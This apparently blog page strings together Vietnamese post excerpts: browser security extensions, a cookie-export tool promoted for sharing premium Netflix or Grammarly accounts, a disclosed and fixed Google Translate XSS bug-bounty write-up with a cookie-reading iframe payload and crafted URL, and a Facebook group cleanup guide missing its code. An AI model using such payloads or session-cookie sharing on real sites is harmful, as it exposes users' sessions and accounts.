J2TEAM Security sẽ nhận diện và chặn chúng ngay từ khi bạn vừa truy cập trang web và đưa ra cảnh báo cho bạn biết. Có rất nhiều trường Đại Học ở VN đã bị kẻ xấu cài đặt mã độc và bị phát giác nhờ có J2TEAM Security. Bạn có thể đọc một số bài viết như vậy trên J2TEAM Community:

• https://www.facebook.com/groups/j2team.community/permalink/981342485531205/

• https://www.facebook.com/groups/j2team.community/permalink/606172386381552/

Chặn Self-XSS

Các bạn có thể xem bài viết của Facebook về Self-XSS: https://www.facebook.com/help/543344735779134/

Kiểm tra bảo mật tài khoản Facebook

J2TEAM Security cung cấp một công cụ giúp quét nhanh các thiết lập hiện tại trên tài khoản Facebook của bạn và cho bạn biết thiết lập nào đang ở mức không an toàn.

Tải và cài đặt J2TEAM Security

Rất đơn giản, chỉ việc truy cập vào một trong các liên kết sau (tùy theo trình duyệt của bạn):

• Cài đặt cho trình duyệt Chrome, Cốc Cốc và các trình duyệt dựa trên Chromium.

• Cài đặt cho trình duyệt Microsoft Edge.

Cookie là gì?

Cookie là các tệp được trang web bạn truy cập tạo ra. Cookie giúp trải nghiệm trực tuyến của bạn dễ dàng hơn bằng cách lưu thông tin duyệt web. Với cookie, các trang web có thể duy trì trạng thái đăng nhập của bạn, ghi nhớ tùy chọn trang web và cung cấp nội dung phù hợp với vị trí của bạn..

Có hai loại cookie:

• Cookie của bên thứ nhất do trang web mà bạn truy cập tạo ra. Trang web được hiển thị trong thanh địa chỉ.

• Cookie của bên thứ ba do các trang web khác tạo ra. Các trang web này sở hữu một số nội dung như quảng cáo hoặc hình ảnh mà bạn thấy trên trang web mình truy cập.

J2TEAM Cookies là gì?

Đây là một phần mở rộng (add-on/extension) cho trình duyệt, giúp bạn dễ dàng chia sẻ tài khoản trực tuyến với mọi người mà không tiết lộ mật khẩu của bạn. Nó hoạt động bằng cách xuất cookie của trang web bất kì với tùy chọn đặt mật khẩu để bảo vệ cookie. Sau đó, bạn chỉ cần chia sẻ file cookie và mật khẩu giải mã (nếu có).

Xem video giới thiệu sau để hiểu cách thức hoạt động của J2TEAM Cookies:

So sánh J2TEAM Cookies và EditThisCookie

EditThisCookie là một tiện ích quản lý Cookie, với mọi tính năng như thêm, sửa, xóa, xuất, nhập,… Với hơn 2 triệu người sử dụng, đây chắc chắn là tiện ích số 1 về Cookies trên Chrome Store. Bản thân tớ là tác giả của J2TEAM Cookies cũng từng sử dụng phần mở rộng này.

J2TEAM Cookies lại hướng đến mục đích thiên về chia sẻ tài khoản hơn là quản lý cookie, vì vậy nó chỉ cung cấp hai tính năng duy nhất: xuất toàn bộ cookie và nhập cookie do người khác chia sẻ. Nếu bạn chỉ cần chia sẻ tài khoản cho bạn bè, ví dụ như tài khoản Netflix, Grammarly, Fshare,… thì J2TEAM Cookies chính là lựa chọn tuyệt vời dành cho bạn!

Rất nhiều website đã tin dùng J2TEAM Cookies để chia sẻ tài khoản premium của họ:

• Chia sẻ Netflix Cookies

• Chia sẻ Grammarly Cookies

• Chia sẻ Fshare Cookies

Nếu cảm thấy hữu ích, đừng quên đánh giá trên Chrome Store để ủng hộ tớ nhé!

Một bug tưởng chừng như đơn giản nhưng lại không hề đơn giản chút nào khi bạn cần phải là... người Việt.

Video PoC XSS Google Translate (Proof of Concept)

Cross-Site Scripting (XSS) trên tên miền translate.google.com của Google.

2h sáng cùng với thời tiết mùa đông ở Hà Nội khi mà mọi người đã yên giấc thì mình vẫn còn đang say mê với công việc hằng ngày, sau khi hoàn thành công việc thì cũng đã 2h45.

Quyết định “giải trí” một chút rồi mới đi ngủ, nhưng mình lại gặp vấn đề về ngôn ngữ khi tìm kiếm phim. Trong lúc dịch tên phim từ Tiếng Việt sang Tiếng Anh trên translate.google.com thì mình đã vô tình phát hiện ra một vấn đề mà tính năng "gợi ý từ" (tại ngôn ngữ chính Vietnamese) của Google Translator mắc phải

Lúc này mình thử F12 ở trình duyệt để mở công cụ DevTools và kiểm tra thì mình phát hiện là đoạn HTML mình chèn vào ở trên đang được thực thi.

À há thì ra Google chưa lọc và mã hoá các thẻ HTML trong tính năng này. Vậy là mình có thể khai thác XSS ở đây rồi.

Mình đã thử đổi ngôn ngữ chính sang ngôn ngữ khác nhưng không khả thi, vì các thẻ HTML được mã hoá và lọc ra. Lỗi này xuất hiện khi bạn chọn ngôn ngữ chính là Vietnamese.

Tiếp tục với các đoạn HTML khác để nhằm tạo ra bảng thông báo để hiển thị ra tên miền và phiên làm việc của người dùng.

(Cái khó của việc này là phải canh được độ dài và ký tự hợp lý để Translator hiển thị ra "gợi ý từ").

Và cuối cùng thì mình cũng mò được đoạn XSS như ý:

<iframe onload="javascript:prompt(document.domain, document.cookie)" id="xss" role="xss">hello xss

Nhưng liệu Google có chấp nhận lỗ hổng này?

Nếu Google sử dụng phương thức POST thay vì GET để lấy kết quả gợi ý thì có phải nó là sẽ không được chấp chận không? Vì đoạn mã đó bạn phải gửi cho nạn nhân thì nó mới thực thi mà, mà liệu rằng bạn gửi cho nạn nhân đoạn mã đó thì họ cũng sẽ thực hiện nó chứ?

Address URL hiển thị trên trình duyệt:

https://translate.google.com/?hl=en#view=home&op=translate&sl=vi&tl=en&text=%3Ciframe%20onload=%22javascript:alert(document.domain)%22%20id=%22xss%22%20role=%22xss%22%3Ehello%20xss

Lúc này mình nhìn lên địa chỉ url ở trình duyệt thì để ý các tham số được truyền vào.

&sl=vi => Ngôn ngữ chính
&tl=en => Ngôn ngữ sau khi dịch
&text => Đoạn văn bản

Thế là mình nghĩ chắc chắn sẽ được, mình chỉ cần mã hoá đoạn thực thi XSS rồi truyền vào tham số TEXT ở trên và gửi liên kết cho nạn nhân là đủ.

Sau khi có đủ cơ sở về bug và mình đã gửi một báo cáo lên Google.

Nhưng sau đó lại nhận được phản hồi của Google là không cho đó là bug vì tên miền nằm trong "sandbox domains" và họ cho rằng nó không hợp lệ, nên đã thay đổi trạng thái thành "Won't Fix (Intended Behavior)".

Lúc này mình khá buồn, nhưng không sao mình đã vào đọc lại để tìm kiếm thông tin về việc tên miền "sandbox".

Mình xin nói sơ qua về "sandbox domains" chút.

Sandbox domains - Thường được dùng để chứa tất cả nội dung bao gồm luôn cả các nội dung có chứa virus, malware, trojan….và nó không ảnh hưởng đến những máy chủ khác. Nó được tách biệt ra khỏi máy chủ chính có chứa dữ liệu của người dùng. Do đó nó là an toàn.

Nhưng lạ thay là tên miền "translate.google.com" không có trong danh sách đó, và mình chắc chắn rằng nó hợp lệ. mình đã gửi đi 2 phản hồi để chứng minh việc nhầm lẫn của họ.

Sau 7 ngày kể từ lúc mình gửi 2 phản hồi thì không thấy họ phản hồi gì thêm, nên mình tiếp tục phản hồi thêm lần nữa, và kết quả là họ đã xem xét lại thay đổi trạng thái cho mình và chấp nhận đó là bug và họp team để đánh giá mức độ cũng như việc đưa ra mức tiền thưởng cho bug này.

Cuối cùng mình xin gửi lời cảm ơn đến một số anh/em và một số thành viên trong nhóm “Cộng đồng săn tiền thưởng”, trong suốt quá trình gửi phản hồi để chứng minh về việc nhầm lẫn này và tạo điều kiện cho mình có thêm động lực để chứng minh.

Timeline:

14/11/2019 14:05 - Mình gửi báo cáo

14/11/2019 20:29 - Nhận được phản hồi của Google, nhưng bị phản hồi là “Won't Fix (Intended Behavior)”.

14/11/2019 21:29 - Mình cung cấp thêm thông tin

15/11/2019 00:36 - Mình chứng minh tên miền đó là hợp lệ.

21/11/2019 23:23 - Mình tiếp tục chứng minh tên miền hợp lệ và gửi kèm một video PoC.

22/11/2019 00:12 - Google thay đổi trạng thái và xác nhận đó và đánh giá lại bug.

28/11/2019 01:20 - Google thông báo mức tiền thưởng là $3133.70

23/12/2019 03:47 - Google phản hồi đã fix bug.

Facebook có hẳn một trang riêng để liệt kê những tài khoản như vậy, bạn có thể truy cập bằng cách vào trang Members (liên kết ở cột trái trong nhóm của bạn) > Unavailable (liên kết ở cột bên phải). Lưu ý: trang này chỉ thấy khi bạn truy cập từ phiên bản Web PC của Facebook. Liên kết có dạng:

facebook.com/groups/<GROUP_ID>/unavailable_accounts/

Ở đây, bạn có thể xóa từng tài khoản ra khỏi nhóm, nhưng không thể nào xóa toàn bộ trong một thao tác đơn giản, vì vậy trong bài viết này, mình sẽ chia sẻ với các bạn một đoạn mã nhỏ giúp bạn dễ dàng xóa toàn bộ tài khoản bị vô hiệu, không hoạt động ra khỏi nhóm.

Cách lọc nhanh tài khoản bị vô hiệu ra khỏi nhóm

Bước 1: Các bạn sao chép đoạn mã ở trên.

Bước 2: Nhấn F12 để mở công cụ dành cho nhà phát triển (Dev Tools), chuyển qua tab Console nếu đang ở một tab khác. Dán đoạn mã trên vào, nhìn ở đoạn cuối sẽ thấy YOUR_GROUP_ID. Các bạn thay đoạn này thành ID nhóm của bạn trên Facebook.

Cách lấy ID nhóm của bạn: nhấn chuột phải vào ảnh bìa nhóm, chọn sao chép liên kết. Sau đó bạn nhìn vào liên kết sẽ thấy dạng:

https://www.facebook.com/364997627165697/photos/...

Trong đó, đoạn số ở đầu chính là ID nhóm.

Bước 3: Nhấn ENTER và chờ đoạn mã thực hiện xóa toàn bộ thành viên, khi chạy xong ở trên Console sẽ hiện chữ “Done!”.

1. uBlock Origin

Một công cụ chặn quảng cáo hiệu quả: sử dụng ít bộ nhớ, CPU và có thể nạp, áp dụng hàng ngàn bộ lọc so với những công cụ chặn quảng cáo hiện nay.

2. Video DownloadHelper

Tiện ích giúp dễ dàng tải về và chuyển đổi video từ hàng trăm trang web giống như YouTube.

3. Facebook Container

Tiện ích này phát triển bởi chính Firefox, giúp chặn sự theo dõi của Facebook khi bạn truy cập các trang web thứ ba.

4. Grammarly for Firefox

Khá nổi tiếng rồi, tiện ích giúp kiểm tra ngữ pháp khi bạn viết trên bất cứ trang web nào. Có thể hỗ trợ sữa lỗi tự động.

5. Honey

Tự động tìm và thử mã giảm giá chỉ với 1 cú nhấp chuột. Hoạt động trên hàng ngàn trang thương mại điện tử.

6. Enhancer for YouTube™

Mang lại cho bạn rất nhiều tính năng hay ho trên Youtube.

7. To Google Translate

Tiện ích giúp dịch nhanh văn bản trên web bằng cách chọn và nhấn chuột phải.

8. NoScript Security Suite

Nếu bạn quan tâm về bảo mật thì đây là một tiện ích đáng lưu ý. Nó cho phép bạn chọn những trang web tin cậy có thể thực thi mã JavaScript.

9. Dark Reader

Cung cấp giao diện tối cho mọi trang web, đôi mắt của bạn sẽ cảm ơn bạn vì điều này.

10. Firefox Multi-Account Containers

Lại là một tiện ích khác từ chính Firefox. Giúp bạn có thể dùng nhiều tài khoản trên một trang web mà không phải làm mấy thủ thuật như mở tab thường và tab ẩn danh hay dùng nhiều trình duyệt khác nhau cho từng tài khoản.